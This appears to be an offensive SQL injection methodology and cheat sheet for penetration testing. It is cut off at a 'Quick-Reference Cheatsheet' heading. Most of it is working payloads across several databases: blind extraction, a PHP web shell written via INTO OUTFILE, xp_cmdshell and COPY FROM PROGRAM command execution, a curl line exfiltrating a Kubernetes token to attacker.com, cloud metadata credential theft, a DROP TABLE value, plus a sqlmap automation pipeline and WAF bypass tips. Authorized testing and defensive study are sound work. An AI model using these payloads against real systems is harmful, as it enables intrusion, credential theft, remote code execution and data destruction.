SQL Injection — Offensive Testing Methodology

Quick Workflow

1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
3. Identify database type and enumerate schema
4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
5. Document findings and suggest remediation

Detection

Basic Probes — All Input Vectors

' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Error-Based Detection

Trigger syntax errors to reveal database type and query structure:

'  ''  `  "  ""  ,  %  \

Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.

Boolean-Based Blind

' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

Observe response size/content differences between true and false conditions.

Time-Based Blind

-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --

JSON Operator Probes

-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'

GraphQL → SQLi Pivot

{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}

WebSocket SQLi

const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');

REST API Filter Injection

POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

Automation Workflow

# Full pipeline
sublist3r -d target | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | tee urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch

# Targeted with Burp capture
# 1. Capture request → Send to Active Scanner
# 2. Review SQL findings → manually verify
# 3. Export request file → sqlmap -r req.txt --dbs

# Blind SQLi (Ghauri — faster for time-based)
ghauri -u "https://target.com/page?id=1" --dbs

# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json

Exploitation

Determine Column Count (UNION)

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Identify String Columns

' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -

Enumerate Schema

-- DB version
' UNION SELECT @@version --          -- MySQL/MSSQL
' UNION SELECT version() --          -- PostgreSQL
' UNION SELECT banner FROM v$version -- -- Oracle

-- Tables
' UNION SELECT table_name,1 FROM information_schema.tables --    -- MySQL/MSSQL/PG
' UNION SELECT table_name,1 FROM all_tables --                   -- Oracle

-- Columns
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --

Blind Data Extraction

-- Boolean character-by-character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -

-- Time-based conditional
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -

Database-Specific Exploitation

MySQL / MariaDB

-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --

-- Write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --

-- Schema leak
' UNION SELECT table_schema,table_name FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema') --

MSSQL

-- OS command execution
'; EXEC xp_cmdshell 'net user' --

-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --

-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --

PostgreSQL

-- File read
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --

-- OS command execution
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'id';
  SELECT * FROM cmd_exec; --

-- K8s service account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --

Oracle

-- Privilege enumeration
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --

-- PL/SQL execution
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --

NoSQL & Graph Injection

MongoDB

username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}

Neo4j / Cypher (CVE-2024-34517)

-- Normal
MATCH (u:User) WHERE u.name = 'admin' RETURN u
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u

Older Neo4j 5.x (<5.18 / <4.4.26) allowed privilege escalation via IMMUTABLE procedures.

WAF Bypass Techniques

SQLmap tamper scripts: Use the Atlas tool to suggest tampers; combine multiple (--tamper=space2comment,charencode) for layered WAFs.

HTTP/2 smuggling: Replay payloads over h2/h2c; HPACK compression can obscure payloads from perimeter WAFs.

Cloud-Specific Attack Paths

AWS

-- IMDSv1 credential theft (legacy environments)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --

-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --

Azure

-- Azure SQL Managed Instance RCE
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --

-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --

GCP Cloud SQL

' UNION SELECT @@global.version_comment, @@hostname --

Lambda / Serverless Connection Pool Poisoning

// SET ROLE persists across Lambda invocations when DB connections are reused
exports.handler = async (event) => {
  await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
  return await db.query("SELECT * FROM sensitive_data");
};

ORM CVE Tracking (2023–2025)

Safe ORM patterns:

// Sequelize — use replacements
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template literal
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])

Quick-Reference Cheatsheet